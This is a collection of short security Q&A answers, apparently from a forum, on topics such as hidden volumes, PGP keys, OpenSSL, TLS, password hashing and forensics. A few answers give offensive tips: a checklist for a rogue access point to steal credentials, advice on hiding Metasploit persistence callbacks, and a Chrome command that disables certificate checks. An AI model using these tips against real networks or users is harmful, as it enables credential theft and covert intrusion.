Remaining disk size with plausible deniability

The elements are provided on the wiki page on Hidden volume. The outer volume and the hidden volume share the same lower level space, and at creation time, the size of the hidden volume was computed to not overwrite existing data in the normal volume.

But to allow the plausible deniability, nothing in the outer volume can be aware of the existence of a hidden volume when it is opened normally (*). So if you add a lot of data into it, you are likely to overwrite the hidden volume and destroy all of its data.

Said differently, when confidentiality is important, a hidden volume is fine, but not when availability or integrity is the major concern. But even when you know that, using a hidden volume is not a trivial operation. Because you must:

use the outer volume on a regular bases to avoid to show that it is never used => which would be an hint that is is only there to contain a hidden volume and would break in piece the plausible deniability
never let the system file grow in the outer volume in order not to destroy the inner one (*)

(*) As it would be complex to use the outer volume and at the same time be sure not to damage the hidden one, VeraCrypt offer the possibility to make the outer volume aware that it contains a hidden one through a mount option requiring both passwords. When you use the outer volume that way, you cannot erase the hidden one. But someone looking at your computer at that moment will also know that it contains a hidden volume.

So you must be prepared if you have to reveal the outer volume to only open it in normal mode and use it normally even if it can destroy the hidden volume.


Are HTTP calls from hundreds of ips in the same subnet malicious?

A typical ddos doesn't work on this way. It is in this name: distributed denial of service. If they are coming from the same subnet, they can be called hardly distributed.

However, it is the typical case which can be answered on a by-case basis. For example, if you would be a sysadm of the SE and you would get voting activities in this pattern, the result would be likely a network ban on the subnet.

Check the logs. What are they doing? So can you decide.


I used the following steps when I was planning to re-cycle an old laptop HDD into an external storage. Perhaps this may give you some ideas. Note: This procedure will delete all your data and you will not be able to recover it.

Got an HDD Enclosure kit with USB. This converted the old HDD into an external drive.
Connected to my Laptop running Linux but did not mount it.
Went to System > Hard Drive.
Found my external HDD.
Re-format the HDD (Write 0's to the entire disk). This will delete all files from the disk, format it and write ZEROS (0) to each sector.

This will basically delete all data from the drive and wipe everything including any malware or malicious files.

good luck !


This post by user rjh from 2008 in the enigmail forum answers it well:

  Originally in PGP 2.6, back in the early 90s, you had just one keypair
  and it was used for both encryption and signing. The ability to have
  additional keypairs presented some engineering challenges. Ultimately,
  it was decided that the additonal keypairs would be called "subkeys",
  despite the fact there's nothing "sub" about them. Likewise, what you
  call your "key" isn't really a key at all--the terminology is a
  holdover from the days when a key really was a key. Nowadays, a key is
  really a collection of keys, along with some metadata for user
  identifiers, signatures, etc.

  E.g., my "key" has four keypairs on it: 5B8709EB, D0C6AAE4, 71E177DB
  and 8DB02BBB3.

  What GnuPG calls your "public key" is really the oldest signing key in
  the collection. E.g., since 5B8709EB was created first, GnuPG calls
  the entire set of keys and metadata the "5B8709EB key".

  So, "is it possible to have a key that's used for encryption and
  signing without any subkey at all?" The answer here is no, because
  all keypairs on a key are subkeys. Even if there's only one of them.


Can Google authenticator be used to link all my accounts together?

Not at all.
Google Authenticator is just an application to generate TOTP. It's easy to install, easy to use, so most people equals TOTP to Google Authenticator. The tokens you add are not tied to anything, not your email, nor your phone, nor anything.
It does not send any data anywhere. You can test it by putting your phone on Airplane Mode and opening it. All tokens for all your accounts will be updated every 30 seconds as always.
I usually don't recommended using Google Authenticator because it lacked a way to export your tokens, so if you lost your phone, all your 2FA tokens were lost and you had to log into every site using a backup code to recreate the token. And if you replaced the phone you had to log on every site and do the same.
So you can use it without worrying about anything leaking about your accounts.


Is openssl aes-256-cbc encryption safe for offsite backup

You should never use OpenSSL's command line utility for general purpose encryption. It is actually designed only as a test of the library's internal encryption routines. Because of this, there are a few problems inherent in using it when real confidentiality and integrity are needed:

You will be vulnerable to malleability attacks, as CBC mode is unauthenticated. This can allow your files to be modified in certain predictable ways without knowing the encryption key.
No integrity checking means decryption with the wrong key can succeed, despite outputting corrupted gibberish. Utilities designed for file encryption will tell you if the key is wrong.
The default hash used to derive the master key is MD5, which is far from ideal. It is possible to change the hash, for example with -md sha512, but it still will not use key stretching.
New versions may not be able to decrypt previously encrypted files by default. When the default hash value was changed from MD5 to SHA-512, it required an explicit -md md5 to work again.
Both the key and IV are derived from your input password. Using the same password to encrypt multiple files will result in IV re-use. This is bad for CBC mode, and fatal for CTR mode.
It is not well tested. For many versions of OpenSSL, enc using GCM mode encryption worked, but decryption did not. This might even still be the case.

This is not unique to the enc command. The OpenSSL command line utility has other gotchas when one attempts to use it for anything other than testing the library. Another example is the s_client command, used for connecting to a server over SSL or TLS, which does not validate the certificate of the target. Overall, you should not use the OpenSSL utility. Just use GnuPG:

You can use its symmetric encryption with ciphers such as AES256 and Twofish.
It supports key stretching through an algorithm which it calls S2K.
Integrity protection is provided by symmetric encrypted integrity protection and MDC.
It uses the standard OpenPGP message format, making it compatible with other PGP tools.

The only time I would ever use OpenSSL directly is if I needed to encrypt something with a completely random key or a specific raw key and IV and did not care about message integrity. For example, writing a pseudorandom stream seeded by the kernel to stdout can be done with:
openssl aes-128-ctr -nosalt -k $(xxd -l16 -c16 -ps /dev/urandom) -in /dev/zero

Likewise, decrypting a blob of plain encrypted data when you know both the raw key and the raw IV in hexadecimal (bypassing the need for -md for key derivation) could be done with:
openssl aes-128-cbc -d -nosalt -K $hex_key -iv $hex_iv -in infile -out outfile

But for general-purpose file encryption? Just use GnuPG.


Should a site have SSL if it doesn't have a login form?

It's all about what you're trying to achieve and/or mitigate with the use of SSL. Random people on the Internet cannot assess your company's information. So you need to keep this in mind: it all depends on the risk, the probability of the risk, and how far you would go to mitigate that risk.

@apsillers brings a good point about your job application forms as potential candidates will be submitting personal information with the confidence that they will go to the intended receiver. I also agree with the point about the appearance of a secure website and a more professional attitude when flashing that padlock to a potential customer, especially if your IT company offers security consultation, then it might be a good idea to use HTTPS.

Personally, I always lean towards using HTTPS, even for a Hello Kitty website.


Do I need both a CA Certificate and a Server Certificate on a Radius Server

The CA certificate is only being used to establish a mutually trusted certificate authority for both the client and server. This allows each to know the other is not a malicious impersonator.

The RADIUS server needs a CA certificate to be able to check all the connecting clients are trusted by the CA. It will also have a separate certificate and private key which it will use when communicating.
This is done by placing the CA certificate and server certificate on the server. The client will present a cert signed by the CA. (Either directly or through intermediate CAs). The server will check the signature to verify this is correct and accept the connection.
Simply leaving the root certificate around isn't a security risk. It is a public key, meant to be shown to outside parties so they can check a CA signature is genuine. However, using the root certificate for communication requires having the private key available. This key is very security sensitive and shouldn't be easily accessed. Using it for a radius server is a major security risk.


Can attackers steal SSL certificate from server and use it for MITM attacks?

It is not the certificate which matters, but the private key. That one does not leave the server. To impersonate the server, the man in the middle would need to obtain that private key. The certificate itself is public data, and sent by the server to every client who asks for it by simply connecting.

(A Man in the Middle attack is a double impersonation: the attacker poses as the server when talking to the client, as the client when talking to the server. In simple SSL, with no certificate-based client authentication, the client is nominally anonymous, so mounting a successful MitM reduces to running a fake server which the clients accept as genuine. Fat luck with that, if you don't have the server's private key.)


What hashing strategy is recommended for desensitizing reporting data?

Since hashing algorithms don't use keys would the best strategy be to
  pick Blowish or SHA512 and salt using the key?

With HMAC you can use secret key to generate hash for sensitive data.

  I need to provide a key so that a single input is represented
  different across different reporting platforms, time periods

Use different key for each different platform or time period.


Testing Network layer encryption enabled or not

Network encryption (called also network level encryption) is a network security process that applies crypto services at the network transfer layer (above the data link level, but below the application level).

Network encryption is implemented through Internet Protocol Security (IPSec). IPSec works through the network architecture, which means that end users and applications don't need to be altered in any way.

The use of IPsec, which encrypts network traffic, renders network intrusion detection, virtually useless, unless traffic is decrypted at network layer.

To practically make a test, you could just try to send a plain text message through the network and monitor traffic to see if you can read the content or not. If you read it plainly, there is no network level encryption. If the data was received at the other end and you could not read the actual content, then there is network level encryption in-place.


Are Java applets more secure than regular forms for login?

The main situations where I have encountered Java applets for authentication purposes are signatures. Consider that the server or the client could be an attacker; typically, an online banking/stock exchange site. The user can send buy and sell orders, and may later on try to default on his orders by claiming that he never sent them in the first place, and that the bank is trying to frame him. At that point, the customer and the bank go to see a judge.

In a typical password-over-SSL authentication, on the technical side of things, the bank loses. Indeed, the bank can be reasonably certain that the customer indeed came and sent the orders; but it cannot prove it. For a proof, a digital signature is needed: the customer signs the order, with a private key that the bank knows not. A client certificate for SSL is not sufficient, because the client signature is then upon the SSL session elements, not the application data.

So some custom code must be executed on the client machine. That code must be provably honest since the customer will try to claim that any code sent by the bank could be making signatures without him knowing it. Javascript is not sufficient for that. But a signed Java applet can do the trick: the .jar files will be cached on the client's machine, are signed (so the bank cannot repudiate them), and could be reverse-engineered (this is not that hard for Java bytecode).

Note that, similarly, the applet signature protects the customer, since any felony from the bank itself could be uncovered that way; the signature makes frauds more risky, thus (presumably) less probable.

I am not claiming that this is what your specific example of Java applet does, but at least it is a scenario where Java applets have benefits for security.


SQL databases password profiling: Same password for all DBs (while it is different from root) - A meaningless step?

Having separate database users (with separate passwords), in addition to the root user, is good practice.  This allows you to protect the data for each database, so that if the password to one database is lost, it doesn't compromise the data in the other database.  And you don't have to use the root password anywhere, except when doing database maintenance.

In other words, the difference between shared login for all database users, and separate logins, is that the attacker can access less data when you use separate logins.  Because even if the attacker cannot access root, they can still read the data belonging to the compromised user, and maybe do some damage.  But the rest of your database is protected.

This is because the most likely way attackers will gain access to your database is either through some SQL-injection type exploit in the application, or by gaining access to your network in some way, and discovering the account credentials in configuration files.

In the first case, you only lose the data in the database with the exploit.  In the second case (with an attacker in your network), they still only get access to the data in the database with the leaked configuration.  An in neither case will the attacker be able to access the root account.

It comes down to the principle of least privilege.

In addition, you can have different key rotation schemes for the two accounts, both in terms of how often you change passwords, and how you distribute them. And that, I suspect, is the most practical value in having different passwords.  Over time, the passwords would probably diverge anyway, or cause a lot of operational headaches.


Rogue EAP (PEAP) access point to obtain hashes

There are few factors you need to have in mind when you want a "supplicant" to connect to an AP automatically. (This is called WiFi roaming)

If you want to set a Rogue AP or an Evil Twin (which aren't the same) to steal credentials and/or capture packets, here's the checklist:

Signal Strength (Make sure your rogue AP signal is higher than the legitimate AP)
ESSID (What probe requests look for)
Encryption algorithm (Open, WEP, WPA, etc.)
Cipher (CCMP, TKIP, WEP40, etc.)

Check all these and your device/supplicant should be able to connect automatically.


Can I use a domain name instead of an IP for msf persistence?

There are lots of better ways to do this. First, you could set up a free dynamic DNS service that will update with the changes to your IP, and you configure your persistence module to connect to the DNS name.

Or, you could use the website's IP in the persistence module, and simple tunnel/pivot/redirect traffic from there to your attacking machine.


Common passwords among servers/web sites on a development platform

While they may be difficult to avoid, shared accounts are generally a bad idea for information security and are not looked kindly on by ISO27001 or security auditors.

Shared accounts make it difficult to create a proper audit trail, as actions cannot be directly linked with a real person. There are, however, ways to get around this, for example by implementing a tool to manage and track the use of the credentials.


Is an IP not being redirected to it's associated domain considered unsecure?

t's expected behavior that when an IP address is browsed, it redirects to the domain name of the server and the SSL Certificate is valid. e.g: ...

Actually in many cases the expected behavior is to get an error. This is at least the normal case on multi-domain systems (which are pretty common) since there isn't a unique domain name for the IP address.
And even in the rare case where only a single domain is on an IP address it is pretty normal that the IP address is not included in the certificate, so that the initial attempt of https://ip will already fail due to an invalid certificate.

My question is, is there a security risk if a server doesn't resolve it's domain name and stays on IP with an invalid SSL Certificate?

The security risk is not that it does not use a domain name but that the certificate does not match the name in the URL. It does not matter if the name in the URL is an IP address or a domain name, but it must be included in the certificate and the certificate must also be otherwise valid.


What prevents someone from spoofing their public key when trying to establish an SSH connection?

All forms of public key authentication support at least one of sign/verify or encrypt/decrypt (in practice, I'm pretty sure they all support sign/verify, I know some like DSA don't also support encryption but I don't know of any that can do encryption but not signing). Either operation can be used to prove identity.
I don't know the SSH handshake off the top of my head, but it's going to include a step where each side using public key authentication (the server, and sometimes the client) prove to the other side that they have the corresponding private key, by requiring the private key holder to do something that can only be done with the private key, and cannot be done by capturing and replaying traffic from a previous handshake. There's a few ways to do that (these are all from TLS, but SSH almost certainly does similar things):

Determine an unpredictable value (such as a cryptographic hash of all traffic in the handshake thus far) for the private key holder to sign and transmit, and then use the public key to verify the signature. (IIRC, this is how TLS client certs are verified).
Public key holder generates, encrypts, and transmits a secret value, private key holder must decrypt it to complete the handshake. (this is how TLS performs key exchange over RSA).
Private key holder generates a public and private ephemeral key exchange parameter pair, then signs and transmits the public part. The public key holder verifies the signature and then uses that parameter to complete the key exchange. Because the exchange depends in part on the private key holder's private key exchange parameter (which is generated anew for every handshake and never transmitted), an attacker can't just replay a previous signed public key exchange parameter; it would verify correctly but the attacker wouldn't be able to complete the key exchange, and thus couldn't communicate. (This is how DHE/ECDHE key exchange works in TLS).


Does changing an uploaded executable's file extension to .png render it safe?

There are basically two main ways an uploaded file can be harmful: by being executed (as a script or binary) or by being run/used in an application and abusing an exploit in it (e.g. an uploaded MP3 which is then opened by a specific player, abusing a known weakness in it).

In other words, it all depends what happens with the file after uploading. If someone is able to upload a Perl script, but the server never executes the uploaded files or even does not have Perl installed, nothing can ever happen. In general: if you make sure that the uploaded file is never run or interpreted you will be safe.

Renaming the files only helps with one thing: on some operating systems, some file extensions may be linked with a specific application. If you rename the file you might prevent that the file will be opened with a linked application. But depending on the system and setup the uploaded files might still get opened with a vulnerable application. To stay in the above example: if any uploaded file gets opened with an MP3 player, even if you rename it to song.png, it would still be able to exploit a weakness in the player (except if the player has its own layer of checking and e.g. does only accept .mp3 files).

The renamed files are not images suddenly, just because of the renaming. On Unix and similar systems, there is even the file command to analyze the type/MIME type of a file.

Bottom line: in my eyes there is only one thing you can do. Be very specific in your setup about what can and will be done with the uploaded files. Any libraries, extensions or applications accepting these files should always be updated to the latest version.


What is the standard way, if any, to announce via e-mail that you have a public PGP key and what it is?

There's no one particular way to do this. Just signing all outgoing mail is one way people advertise that they support PGP provided their key is on a public keyserver.
Enigmail (Thunderbird plugin) has an option to include a public key as an attachment in all outgoing mail.  It has a type of application/pgp-keys and the name is 0x<KEYID>.asc where <KEYID> is the key ID in hex.
There are several clients which support Autocrypt, a protocol for opportunistic encryption by storing public keys in headers.


Regulations that specify password length?

I believe the National Institute of Standards and Technology (NIST) publishes the United States Government Configuration Baseline (USGCB, formerly known as Federal Desktop Core Configuration or FDCC) checklists, which specify the password complexity, lifetime, and history requirements for U.S. federal organizations.  Also, the Center for Internet Security (CIS) publishes Benchmarks for various platforms, which include similar recommendations.

Between the two, the highest mark is:

12 characters minimum.
At least three character types.
Expiration in 60 days.
Minimum lifetime of 1 day.
No reuse within 24 passwords.
Some OS-specific additional requirements may be applied.

Those settings are applied at the OS level.  I'm not sure if either organization has similar specifications specifically targeting applications or websites, but most organizations which are subject to these will probably just use the same requirements as they do in the OS.

A Google search for any of the above terms should turn up a wealth of information.  (I may add links here myself later, or anyone else is free to edit them in.)


"I just open up Firefox and sign in to the site myself" - this can actually cover a huge multitude of sins.

There is no one standard way that websites implement authentication, there are lots. While we would love ZAP to be able to understand all of them we just don't have enough people to implement that.

Which means that you will need to understand how your application authenticates you.
If it is a simple form then it might be relatively straight forward - have a look at https://www.zaproxy.org/faq/how-can-zap-automatically-authenticate-via-forms/

If it is more complicated then ZAP should still be able to handle it but we'll need more info. I've started covering authentication in the ZAP in Ten videos: https://www.alldaydevops.com/zap-in-ten

If you need more help the ZAP User Group is probably a better forum: https://groups.google.com/group/zaproxy-users


Amazon S3 policies: CORS or Service Accounts?

This depends on where your API is calling from. AWS (not surprisingly) has many more options if you operate entirely within their platform. If you're operating outside of AWS, I'd recommend option 2. If you're operating within AWS, Option 4 Presented below is the simplest that I think meets your needs, and option 3 is presented in case of stronger paranoia.
1) CORS
Answering abstractly, relying on CORS should be fine, but make sure you are comfortable with writing CORS rules, as a lot of CORS bypass attacks occur due to improper configuration. This would make me a bit itchy, because a lot of faith has to be put into the CORS policy being well written and covering all possibilities. And it's a single-layer of defense, which I've learned to distrust. You could strengthen this, by limit the PUT/DELETE calls in the S3 Bucket Policy to only be allowed from a specific caller IP address if your API calls from a public IP address that you own (note, however, that you won't be able to put/delete objects in the AWS console either unless your web browser is using that public IP address).
2) Service Account
Using a service account would be a better option in my opinion. Not necessarily because it's a technically superior control, but because it's easier to configure and harder to mess up. The vast majority of attacks that happen these days are not because the technology is lacking, but because of poor configuration. Simpler security solutions tend to be more successful for this reason. However, this requires that you protect those Service Account credentials (I'm assuming you're thinking of using an AWS IAM user and giving the API keys to your application), which usually involves regular rotation of the keys, storage in an external encrypted store (such as Hasicorp's Vault).
3) EC2 with a Role
If your API/application is running on/calling from an EC2 instance on AWS, I'd suggest another option. You can give the instance a IAM Role with the write permissions you need. Then you can use the S3 bucket policy to allow s3:getobject publicly, and s3:deleteObject/s3:putObject to only the role you define. Then you don't have to worry about storing/managing API keys. You can add another layer by limiting the put/delete operations to those that come from a specific VPC endpoint, and put an VPC endpoint in your VPC. This would limit the put/delete operations to only come from the specific role, and only come from within the AWS VPC that you specify. Again, please note that this will preclude and write operations to your bucket objects from the AWS Console.
4) AWS API
If you are willing to accept a bit more attack surface in exchange for great simplification of the solution (which may in turn make the solution more likely to succeed), you could use an S3 Bucket Policy to allow public read access from anywhere and all other operations only allowed from your AWS account. Then you can run your API on an EC2 instance with a role granting S3 access. The delineation here is that anything with AWS API access to your s3 bucket can write to it (so your application on EC2, your browser when you're interacting with the console, any other integrations that you add using AWS Roles or API keys).


Some specific website not loading when proxy through Burp

As void_in said, it can be HSTS or HPKP. You can bypass those by disabling browser security.

$ google-chrome --disable-web-security --ignore-certificate-errors


Remove less secure ciphers from WHM by decrpyting different convoluted references to the same ciphers

For now, you probably would be best and most quickly served by relying on others who have studied cryptography and network security, and who offer their recommendations freely as a service.  Sites like Mozilla's SSL Configuration Generator are a great way to obtain a clear list of ciphers that best meet your security needs.

Once you have solved your immediate problem and have your services configured securely based on the recommendations of experts in the field, you can consider spending more time digging deeper into this topic. But it's a deep field; you'll end up needing to understand the different families and types of cryptographic algorithms, key sizes, protocols, weaknesses, attacks, public key infrastructure, TLS, and network security.

The problem with cryptography is that it's hard for someone outside of the field to know how to compare the strengths of the various algorithms and key sizes, or which protocols or algorithms are known to have weaknesses.


Considerations when displaying OpenID and WS-* output to an end user

What are you wanting to protect against when showing the token? Replay attack? Information disclosure? Etc?

if the site is simply for the sake of testing token handling, then its acceptable to show the whole token as-is because they shouldn't be using a token from a production system.

If an attacker has the full token then they can replay it, allowing them to potentially impersonate the user. They could also replay it against other applications potentially if the token is not encrypted (or the applications share the same decryption key). Also, if the token contains claims with secrets or PII then an attacker could collect that information.

With all that being said, the token is useless for authentication if you strip out the signature (well, assuming the application actually validates the signature).

EDIT: If you want to show the full token but prevent replay attacks, just keep an entry for that token by taking a hash of it. WIF supports the token cache, which is designed partially for that reason, but you'd have to right a custom implementation.


Security Implications of Private/Corporate APNs

One of the disadvantages from a security point of view of a private APN, if I remember correctly, is that you are only securing the data traffic from the APN onwards, rather than from the device onwards. And unless you are using device policies it is trivially simple to change by the user and by an app.

As for attacks I know of none, my Google foo only brought up this article - How Mobile Carriers Expose Us to Wi-Fi Attacks - and others which discuss APN hijacking by malicious iOS apps.


Unix/Linux shells which use effective UID instead of real UID

At least fish, ksh93, yash and zsh are available in Ubuntu, but not installed by default, and don't drop privileges when they start. Perl and Python are installed by default and don't drop privileges.

This is not a “critical security check”. If an adversary can cause an interpreter to be setuid, they can also run code as that user. If they can inject code into a setuid program and they want to run a shell, they can upload their own interpreter that doesn't have a check, or leverage some non-shell interpreter such as perl, or run native code.

I think some shells have historically done this to prevent setuid scripts, which are a bad idea because it's very difficult to make a setuid shell script robust against all possible environment variables. They keep doing this today for backward compatibility, even though modern unices don't honor the setuid bit on scripts.


Is using the concatenation of multiple hash algorithms more secure?

You don't mention what you're using the hashes for, but it appears likely that your intent is to use if for password verification.

So, the first issue to clear up is the concern that a given algorithm might be found to be susceptible to collisions.  Collisions are not a threat to password hashes, and even if an algorithm were susceptible to collisions, that doesn't weaken it for the purpose of password hashing.  For password hashing, we're worried about pre-image attacks instead...Being able to find the input that was used to create a given hash.

Today, the primary mechanism to attack password hashes is a dictionary-based brute-force attack. You hashes as many possible inputs you can, as quickly as you can, to determine which input results in the hash you're trying to match.  Thus, the most desirable feature of password hashing function is slowness.  You want to ensure that it takes as long as possible for an attacker to test the inputs required to find the correct one.

So, now that we understand what we're looking for, let's take a look at your proposal.

If you hash the password twice, with SHA-512 and MD-5, and truncate to 128 bits of each, and concatenate them together, for all intents and purposes, you're giving the attacker two hashes to work with.   In many cases, the security of a hash isn't terribly reduced by truncation, as long as the resulting length is reasonable, which 128 bits likely is.

This means that you're taking two fast hash functions (SHA-512 and MD-5 are both far too fast to be effective password hash algorithms) and offering the attacker the opportunity to choose which one they would like to use to crack your hash.  In this case, they're certainly choose MD-5, and feed inputs into it, truncate the hash to 128 bits, and match it to the MD-5 portion of your hash, and as soon as they have the match, there's near 100% certainty that they also have the value they need to compute the SHA-512 portion of the hash on a single try.

So, not only does this specific construction not improve security, but it actually rather significantly cripples it instead.  While there are other potential constructions that could prove to increase security, it's not a simple matter to get it right, so if you really want a reasonable assurance of security, use a proven construction like bcrypt with a reasonable work factor.


Two reset password tokens used for the same reset password flow

I don't see any benefit of using the 2nd temporary token. I assume you're doing this in case the first token is sniffed out during transit, but if it is, then the 2nd key could be sniffed as well. Besides, this process should be occurring within SSL, so the likelihood of getting sniffed is extremely low to begin with.

Typically the weak link in the password reset process is the receiving of an email, but if the user's email account is compromised then the whole process breaks down anyway.


How does collecting sensitive data using iframes increase security?

...  if a bad actor is able to run javascript on your page

That's exactly the point one want to avoid. Iframes allow third-party sides including script to be part of the visible page without having access to the parts of the page outside the iframes served by this specific third party. This is much more safe than embedding a third party HTML (for the form) and script (for form control, like input checks) directly into the main page.
If the iframe and main page come from a different origin, then the Same-Origin Policy will severely limit how they can interact with each other. Contrary to that a third-party script included with the script tag has full access to the DOM and could do everything a same-origin script tag could do.


Parted Magic Secure Erase Verification Level

I haven't used it, but according to their documentation Using Secure Erase, the verification level can be defined.

I don't see where it describes less than 100% as being sampled or just a chunk.


Dealing with File Permissions from a Virtual Machine - Forensic Logical Acquisition

Well first and foremost, you've already screwed up by mounting the VM which will have written to it as a side affect of mounting. Hopefully this is a copy?

Second, acquiring a logical copy is always a mistake if you don't have to due to constraints that prevent a physical copy.

All of your problems go away with a physical acquisition. Even though it's a VM you can still do a physical acquisition and it's dirt simple:

1. Run Autopsy

2. Target the VM .vmdk as the acquisition.

Done!

If you're still determined to do a selected logical acquisition, it's easiest to pull the target files via Linux.


Password reset question answer complexity

In this circumstance, it seems like the security answer effectively becomes an alternative password

That's right. Which is also why this seems like a really bad idea. It will only work as a feature if the question is something simple, something the user will know without having to remember it, which means that an attacker can figure it out as well (by searching for info online, on facebook, asking the victim, etc).

Your current idea would weaken the security of your user accounts considerably, so I would look for an alternative. The best way would be to require an alternate email address or phone number (such as most email providers such as google do).

Another alternative (if you require real names for sign-up) would be to require something like the copy of an identifying document for password recovery. An attacker might still be able to get this (especially if they know their victim personally), but it would be a bit more complicated.

If you want to stick with your concept, at the very least I would perform password resets via phone instead of online, to deter some attackers.


The whole point of symmetric encryption is that if an attacker doesn't have the key, they can't decrypt the data.  AES has no publicly-known computationally feasible attacks (significantly better than brute-forcing the entire 2128 key space) on it that are relevant to this scenario.

If the data is at rest, there's no chosen plaintext attack -- there's no system that accepts chosen plaintext and encrypts it.  You can only do the chosen plaintext attack if an attacker can submit arbitrary plaintexts to a system that will encrypt them and spit back the ciphertext.

Now if you expanded the attack surface to one where an attacker could request a plaintext be encrypted with an unknown key, then there is a potential chosen plaintext attack if the IV is reused or known to the attacker prior to submitting their plaintext.

With the expanded attack surface, then if (1) the IV was fixed or known to the attacker prior to submitting the plaintext,  and (2) an attacker could convince your system (that has the key) to encrypt arbitrary text submitted by them, and (3) the message space for each block is fairly small (only say a few thousand/million/billion possibilities which is significantly smaller than the full 2128 options allowed with 16 arbitrary bytes) for each 16-byte block of plaintext), then yes attacker efficiently could submit arbitrary plaintext with the same fixed IV (or account for the changing IV when making their plaintext guess) until they found a match to each block of the ciphertext they wish to decrypt.  They could do this block by block (an AES block is 128-bits = 16 bytes) to sequentially guess the original plaintext by brute-force (of the small message space).

However with a random 128-bit IV not known ahead of time, this attack would not work.  Why?  Because in CBC mode c[0] = E(k, p[0] XOR IV), c[i] = E(k, p[i] XOR c[i-1]) for i > 0 and the IV changes every time (and is unknown when you submit the plaintext, so you can't account for the change in IV and your change in your guess of p[0]).

  How do you protect the data in this case?

The data is already protected.


Verifying that an Android banking app checks that the certificate is trusted

A proxy is better for that. I think if you configure this proxy but skip the SSL cert configuration you should get your answer.


Why do a lot of Android apps (like Linkedin) require many unrelated privileges?

@Stolas has already explained that the only way to be sure what an application does is to reverse engineer it and inspect its code, and @RoryAlsop already described why such access permissions are required from the application architectural point of view. But there's one thing that I feel I should add.

I think there's not much to worry about here. Why? LinkedIn is a fairly big player and as such under constant scrutiny of the public eye, like all the big ones are. If they were up to no good and trying to access data you didn't agree to in their TOS, and/or otherwise misuse them, they would have to deal with big problems keeping that under the rug and risk huge loss in their reputation and credibility, possibly even be a subject to legal prosecution and financial loss that would come with it, if it were ever to become public knowledge.

You see, these apps aren't developed by a few tightly controlled developers kept in some basement and only allowed access to daylight once thoroughly brainwashed for any residual disclosing information. I'm being slightly sarcastic here, but I believe that living under constant paranoia is even more damaging to one's mental health than my opinion compressed in a few lines could ever be. Anyway, if LinkedIn (and this goes for any other big player in the field of social networking out there) was misusing your personal information in a way that is not clearly described in end user agreement (or other such documentation) you agreed to upon signing up for their services, and/or installing their software, chances are extremely big you'd be reading about that in the news and LinkedIn wouldn't exist anymore;

One of the developers would suffer guilty consciousness and blow a whistle on them to relieve the pressure and hopefully sleep better. Or,
an independent researcher would find interesting inner workings of the code he/she just reverse-engineered from a signed install package LinkedIn is publishing. Or,
a sleepless networking expert (not to be confused with script kiddies) would find some such indicative network packets being exchanged between his test client that he setup and a LinkedIn server, that the downloaded app was responsible for. Or,
an IT security professional will be asked to assess potential threats some company faces with their BYOD policy. Vulnerability assessment will include some of the most common Android device software, and the mentioned LinkedIn Android app will be most likely among the first ones tests will be conducted on.

Regardless who would be the first to discover it, LinkedIn could either be blackmailed and settle it privately (which could still leak eventually), or have to defend themselves in front of the eyes of the public. Both of which would incur cost to the corporation, something they don't appreciate, not in the least bit. And since alternatives to illegally exploiting your personal data are a lot cheaper, that's what they do. They test their code thoroughly for compliance with all kinds of regulations, sign them with certificates that prevent install package tampering, and they're proud to display that to end users too. The rest is then between you (your free will to disclose your personal information to whomever you want), and LinkedIn (the ones that will gladly take it and turn it into profit). This said, it's up to you to decide, how intrusive you'd find such social networking symbiosis, and if you should call it spyware.


To be clear, the ISO 27000 family of standards is not about securing information. It is about defining the standards for an Information Security Management system (ISMS).

"Information" is not a focus, and defining that word is not required. The point of the family of standards is to get the organisation to define what information is and how it needs to be protected.

Quoting ISO 27000:

  0.2   Purpose of this document

  The ISMS family of standards includes standards that:

  a) define requirements for an ISMS and for those certifying such systems;

  ...

The definition of the requirements of an ISMS includes making sure that you are clear about what "information" is and if/how it needs to be protected.

So, I would say that you are expecting something from the family of standards that it is not concerned about.


3rd Party Mail Clients on iPhone/Android and Credential Storage

After reading the linked page on Spark, I would say that the problem here is that Spark wants to be more than a mail reader. As a mail reader local to your phone or tablet, they would not need to store your credentials on their servers.

But they want to offer more. As an example they cite push notifications for new emails. For this to work, the spark server as to connect to your different mail accounts see whether new mails have arrived and push the notification to your phone. If this runs on the server, they do not have to maintain complex code on various versions of IOS and Android: the core runs of their servers and only the presentation layer runs on your phone. Running that on their servers also saves resources (CPU and mainly memory) on your phone, and also saves the volume of data exchanged with your phone.

The dark side is that your credentials for your different mail servers have to be known to their servers. And they must be known in clear text because they will have to send them to the actual mail servers.

The alternatives would be:

run all the core of Spark locally on your device. It could require a powerful device, with plenty of storage and memory and could require a lot of exchanges - unsure whether a google watch could support it... As it would require more maintenance tasks to have it on many OS versions the application would also be more expensive
get rid of all those nice features and use a mere mail reader - but aren't those nice feature what made you buy their service?

If you think that confidentiality of your mail credentials is more important than all the bells and whistles that come with Spark, do not use Spark. If you do you should use a different password for each email account that would only be used there or at the strict minimum a unique password for all the mail accounts used through Spark that would be used nowhere else.

TL/DR: the features offered by Spark actually require that their servers can read and send mail on behalf of you so they do need to have your mail account credentials. If you do not agree with that, just do not use Spark - what I would do if you ask for my advice...


What are the ways to identify a DNS cache poisoning attack?

Without any help from the site it's really hard, and sadly according to W3Techs statistics many don't still use the technologies that would give you a warning on both DNS cache poisoning and Man-in-the-Middle attacks.

Every sites should have TLS certificates now that they are free and easy to get from Let's Encrypt. All CA signed certificates are at least domain control verified, so you'd get an error if there's an imposter's site.
HTTPS shouldn't be just an option for the user, but sites should upgrade every plain HTTP connection with a redirect. This way, an URL starting with http:// would be an indication of something being wrong.
HTTP Strict Transport Security (HSTS) makes the browser remember the site (and possibly all subdomain) should only be viewed on encrypted connection.

DNSSEC would be helpful, but only if your resolver validates it and your connection to your DNS resolver is secure. That's almost never true on foreign networks.

What could you do as a user? I'd suggest using HTTPS Everywhere. In the normal mode it lists sites that are known of having HTTPS, even if they do not have HSTS or redirect to HTTPS by default. I choose use it on Encrypt All Sites Eligible (EASE) mode and get to decide whether it's actually worth visiting a site that would be served on plain HTTP.


Stolen MacBook: should I worry about my data?

Your data is probably* safe if the following three criteria are met:

You have FileVault turned on (full disk encryption).
Your laptop requires a password on boot and every time you open the lid (auto screen lock).
Your password is not well known (easy to guess).

TL;DR;

If you don't have FileVault turned on, then your data is in plaintext and anyone can read it all.

If you had a password, and that password is required every time you open your screen, AND you had FileVault turned on (or your company did), then they need to guess your password to decrypt the data.

But, if you had a dumb password, they can probably guess it. Check out haveibeenpwned.com to determine if you had a dumb password.

If you had a strong password, file vault, and your device requires you to enter a password, then you're probably ok.

Still, why not go through your accounts and reset them anyways. Now's a good of time as any. Get a password manager like 1password and let it autogenerate passwords for you.

Choose a not-dumb password (like a truly random string of 10 characters - google a pw generator) for your password manager and memorize it.

Do the same for your new laptop password.

